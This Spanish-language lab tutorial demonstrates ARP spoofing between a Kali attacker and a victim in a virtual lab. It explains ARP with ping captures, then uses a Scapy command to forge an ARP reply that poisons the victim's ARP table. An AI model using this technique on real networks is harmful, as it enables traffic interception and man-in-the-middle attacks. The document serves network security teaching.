

Taller ARP Spoofing

Ricardo Yepes

[Taller ARP Spoofing](#)

[0. Escenario:](#)

[1. Entendiendo como funciona ping](#)

[2. Envenenando tabla ARP](#)

Objetivo: Envenenar tabla ARP de la víctima sin hacer uso de herramientas de alto nivel (ej: ettercap), sino fabricando paquetes ARP por usted mismo (ej: scapy).

0. Escenario:

Para el ejercicio se requiere contar con dos equipos (En el documento se realizó usando VMware y con los equipos en NAT):

Atacante -Kali 172.16.192.128-: Linux con un sniffer (wireshark, tcpdump, scapy...) y un packet crafter (scapy).

```
root@kali /tmp # ip addr show dev eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
    link/ether 00:0c:29:dd:9f:6c brd ff:ff:ff:ff:ff:ff
    inet 172.16.192.128/24 brd 172.16.192.255 scope global eth0
    inet6 fe80::20c:29ff:fedd:9f6c/64 scope link
        valid_lft forever preferred_lft forever
```

Víctima -Const 172.16.192.1-: Unix-like o Windows.

```
root@const /home/ryepes # ip addr show dev vmnet8
5: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast
    ault qlen 1000
    link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff
    inet 172.16.192.1/24 brd 172.16.192.255 scope global vmnet8
        valid_lft forever preferred_lft forever
    inet6 fe80::250:56ff:fec0:8/64 scope link
        valid_lft forever preferred_lft forever
```

Verifique que no hayan entradas previas relacionadas en las tablas ARP de ambos equipos (**ip neigh**), y de ser necesario elimine las entradas correspondientes (**ip neigh del dev vmnet8 172.16.192.128**).

1. Entendiendo como funciona ping

El atacante utiliza el comando *ping* para hacer enviar paquetes ICMP a la víctima. Sin embargo puede comprobarse que previamente se hace un envío de paquete ARP (request) preguntando cuál es la dirección MAC asociada a dicha IP. Esto se debe a que las comunicaciones entre los equipos pertenecientes a una LAN, en realidad se realiza a nivel de capa 2 usando solo direcciones MAC.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000	Vmware_dd:9f:6c	Broadcast	ARP	42	Who has 172.16.192.1? Tell 172.16.192.128
2	0.001	Vmware_c0:00:08	Vmware_dd:9f:6c	ARP	60	172.16.192.1 is at 00:50:56:c0:00:08
3	0.001	172.16.192.128	172.16.192.1	ICMP	98	Echo (ping) request id=0x45d5, seq=1/256, ttl=64
4	0.001	172.16.192.1	172.16.192.128	ICMP	98	Echo (ping) reply id=0x45d5, seq=1/256, ttl=64
5	1.001	172.16.192.128	172.16.192.1	ICMP	98	Echo (ping) request id=0x45d5, seq=2/512, ttl=64
6	1.002	172.16.192.1	172.16.192.128	ICMP		
7	2.001	172.16.192.128	172.16.192.1	ICMP		
8	2.001	172.16.192.1	172.16.192.128	ICMP		
9	5.015	Vmware_c0:00:08	Vmware_dd:9f:6c	ARP		


```
root@kali: /tmp
File Edit View Search Terminal Tabs Help

root@kali: /tmp # ping 172.16.192.1
PING 172.16.192.1 (172.16.192.1) 56(84) bytes of data.
64 bytes from 172.16.192.1: icmp_req=1 ttl=64 time=1.62 ms
64 bytes from 172.16.192.1: icmp_req=2 ttl=64 time=0.554 ms
64 bytes from 172.16.192.1: icmp_req=3 ttl=64 time=0.151 ms
^C
--- 172.16.192.1 ping statistics ---
```

El atacante puede verificar que en efecto se ha agregado una nueva entrada en su tabla ARP, gracias a la respuesta enviada por la víctima (ARP replay):

```
root@kali /tmp # ip neigh
root@kali /tmp # ping 172.16.192.1
PING 172.16.192.1 (172.16.192.1) 56(84) bytes of data.
64 bytes from 172.16.192.1: icmp_req=1 ttl=64 time=1.23 ms
64 bytes from 172.16.192.1: icmp_req=2 ttl=64 time=0.511 ms
^C
--- 172.16.192.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.511/0.871/1.231/0.360 ms
root@kali /tmp # ip neigh
172.16.192.1 dev eth0 lladdr 00:50:56:c0:00:08 REACHABLE
```

Al observar el listado de paquetes intercambiados, se nota que la víctima también pregunta por la dirección MAC del atacante ([¿Por qué llega después de la respuesta ICMP?](#)).

4	0.000	172.16.192.1	172.16.192.128	ICMP	98	Echo (ping) reply	id=0x4640, seq=1/256, ttl=64
5	5.010	Vmware_c0:00:08	Vmware_dd:9f:6c	ARP	60	Who has 172.16.192.128?	Tell 172.16.192.1
6	5.015	Vmware_dd:9f:6c	Vmware_c0:00:08	ARP	42	172.16.192.128 is at	00:0c:29:dd:9f:6c

Con la respuesta recibida por la víctima, se crea una entrada en su tabla ARP:

```
root@const /home/ryepes # ip neigh
172.16.192.128 dev vmnet8 lladdr 00:0c:29:dd:9f:6c STALE
192.168.30.51 dev wlan0 lladdr a2:4c:39:39:fa:65 REACHABLE
```

Es ese último paquete ARP de tipo **is-at** el que logró modificar la tabla ARP de la víctima. Esos paquetes se identifican por tener el valor 2 en el campo *opcode*, por tanto puede escribirse el siguiente filtro para encontrar solo ese tipo de paquetes: **arp.opcode==2**

Filter: Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
2	0.000	Vmware_dd:9f:6c	Vmware_c0:00:08	ARP	42	172.16.192.128 is at 00:0c:29:dd:9f:6c
6	5.015	Vmware_c0:00:08	Vmware_dd:9f:6c	ARP	60	172.16.192.1 is at 00:50:56:c0:00:08

2. Envenenando tabla ARP

Quiere decir entonces que si logramos fabricar un paquete de ese estilo, la víctima creará la información que estamos enviando. Analizando más de cerca la trama, vemos algunos campos de interés:

Filter: Expression... Clear Apply Save

No.	Time	Source	Destination	Protocol	Length	Info
2	0.000	Vmware_dd:9f:6c	Vmware_c0:00:08	ARP	42	172.16.192.128 is at 00:0c:29:dd:9f:6c
6	5.015	Vmware_c0:00:08	Vmware_dd:9f:6c	ARP	60	172.16.192.1 is at 00:50:56:c0:00:08

Frame 2: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0

Ethernet II, Src: Vmware_dd:9f:6c (00:0c:29:dd:9f:6c), Dst: Vmware_c0:00:08 (00:50:56:c0:00:08)

Address Resolution Protocol (reply)

- Hardware type: Ethernet (1)
- Protocol type: IP (0x0800)
- Hardware size: 6
- Protocol size: 4
- Opcode: reply (2)

Sender MAC address: Vmware_dd:9f:6c (00:0c:29:dd:9f:6c)
 Sender IP address: 172.16.192.128 (172.16.192.128)
 Target MAC address: Vmware_c0:00:08 (00:50:56:c0:00:08)
 Target IP address: 172.16.192.1 (172.16.192.1)

La información del *sender* corresponde a quién envía la información (atacante), y el *target* quien la recibe (víctima). En Scapy se asocian a **src** y **dst** respectivamente, y **hw** se refiere a la MAC y **p** a la IP.

```
>>> ls(ARP())
hwtype      : XShortField          = 1          (1)
ptype       : XShortEnumField     = 2048       (2048)
hwlen       : ByteField           = 6          (6)
plen        : ByteField           = 4          (4)
op          : ShortEnumField       = 1          (1)
hwsrc       : ARPSourceMACField    = '00:0c:29:dd:9f:6c' (None)
psrc        : SourceIPField        = '172.16.192.128' (None)
hwdst       : MACField            = '00:00:00:00:00:00' ('00:00:00:00:00:00')
pdst        : IPField             = '0.0.0.0'   ('0.0.0.0')
```

Es así como el siguiente envío logra ingresar una MAC arbitraria como referencia a la IP del atacante en la tabla ARP de la víctima:

```
>>> p = ARP(op="is-at", hwsrc="aa:bb:cc:dd:ee:ff", hwdst="00:50:56:c0:00:08",
psrc="172.16.192.128", pdst="172.16.192.1")
>>> send(p)
.
Sent 1 packets.
>>> send(p)
.
Sent 1 packets.
>>>
```

```
root@const /home/ryepes # ip neigh
172.16.192.128 dev vmnet8 lladdr aa:bb:cc:dd:ee:ff REACHABLE
192.168.30.51 dev wlan0 lladdr a2:4c:39:39:fa:65 REACHABLE
```